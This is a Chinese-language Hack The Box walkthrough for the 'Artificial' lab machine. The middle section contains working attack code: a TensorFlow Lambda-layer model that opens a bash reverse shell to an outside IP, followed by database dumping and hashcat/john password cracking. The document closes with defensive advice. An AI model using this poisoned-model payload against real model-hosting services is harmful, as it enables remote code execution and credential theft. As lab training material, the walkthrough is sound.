HTB Artificial 靶场渗透测试教学文档

靶机概述

• 名称：HTB Artificial
• 难度：简单（但需要特定知识）
• 操作系统：Ubuntu
• 开放端口：22(SSH)、80(HTTP)
• 关键知识点：TensorFlow RCE、Backrest备份系统提权

信息收集阶段

1. 基础扫描

nmap -sT --min-rate 10000 -p- 10.10.11.74 -oA nmapscan/ports
nmap -sT -Pn -sV -sC -O -p22,80 10.10.11.74

发现：

• 域名：artificial.htb
• 添加到hosts文件：

echo '10.10.11.74 artificial.htb' >> /etc/hosts

2. 子域名探测

gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://artificial.htb -t 30 --append-domain

(未发现有效子域名)

3. Web信息收集

使用whatweb和dirsearch工具：

dirsearch -u http://artificial.htb/ -e * -x 404

发现注册和登录页面

漏洞探测与利用

1. 网站功能分析

• 在线AI业务平台
• 可上传、管理和运行AI模型
• 使用TensorFlow框架（2.13.1版本）

2. 环境准备

注意：TensorFlow最新版仅支持Python 3.12，Kali默认可能是Python 3.13

解决方案：

1. 降级Python版本
2. 或使用Docker构建环境：

docker build -t my-image .
docker run -it my-image

3. TensorFlow RCE漏洞利用

利用TensorFlow Lambda层的代码执行漏洞构建恶意模型：

import tensorflow as tf
import os

def exploit(x):
    import os
    os.system("/bin/bash -i >& /dev/tcp/10.10.14.78/4444 0>&1")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("model.h5")

步骤：

1. 生成model.h5文件
2. 在网站上传该模型
3. 本地设置监听：

nc -lvnp 4444

4. 点击在线预览触发反弹shell

4. 初步提权

• 当前用户：app
• 发现SQLite数据库：

sqlite3 users.db
.tables
select * from user;

• 发现用户gael及其MD5哈希：c99175974b6e192936d97224638a34f8
• 使用hashcat爆破：

hashcat -m 0 c99175974b6e192936d97224638a34f8 /usr/share/wordlists/rockyou.txt

• 获得密码后SSH登录gael用户

权限提升

1. 初步检查

检查sudo、suid、crontab等常规提权方式无果

2. 使用linpeas收集信息

发现备份文件线索

3. 备份文件分析

• 文件看似gzip压缩（.gz后缀），实际是tar文件
• 正确解压方式：

tar xvf backup.tar

• 在.config/backrest/config.json中发现账号密码
• 密码经过Base64编码的Bcrypt哈希

4. 密码破解步骤

1. Base64解码
2. 使用john破解Bcrypt哈希：

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

3. 获得密码后提权

关键知识点总结

1. TensorFlow RCE：

   • Lambda层允许任意Python代码执行
   • 恶意模型可导致远程代码执行

2. 密码破解技巧：

   • 识别哈希类型（MD5、Bcrypt）
   • 多层编码处理（Base64+Bcrypt）

3. 备份文件分析：

   • 注意文件真实类型（file命令）
   • 配置文件中的敏感信息

4. 环境适配：

   • Python版本与库的兼容性问题
   • Docker作为替代解决方案

防御建议

1. 对AI模型上传进行严格审查
2. 避免在Lambda层执行危险操作
3. 配置文件不应包含明文或弱加密密码
4. 备份文件应妥善保护权限
5. 使用强密码策略和加盐哈希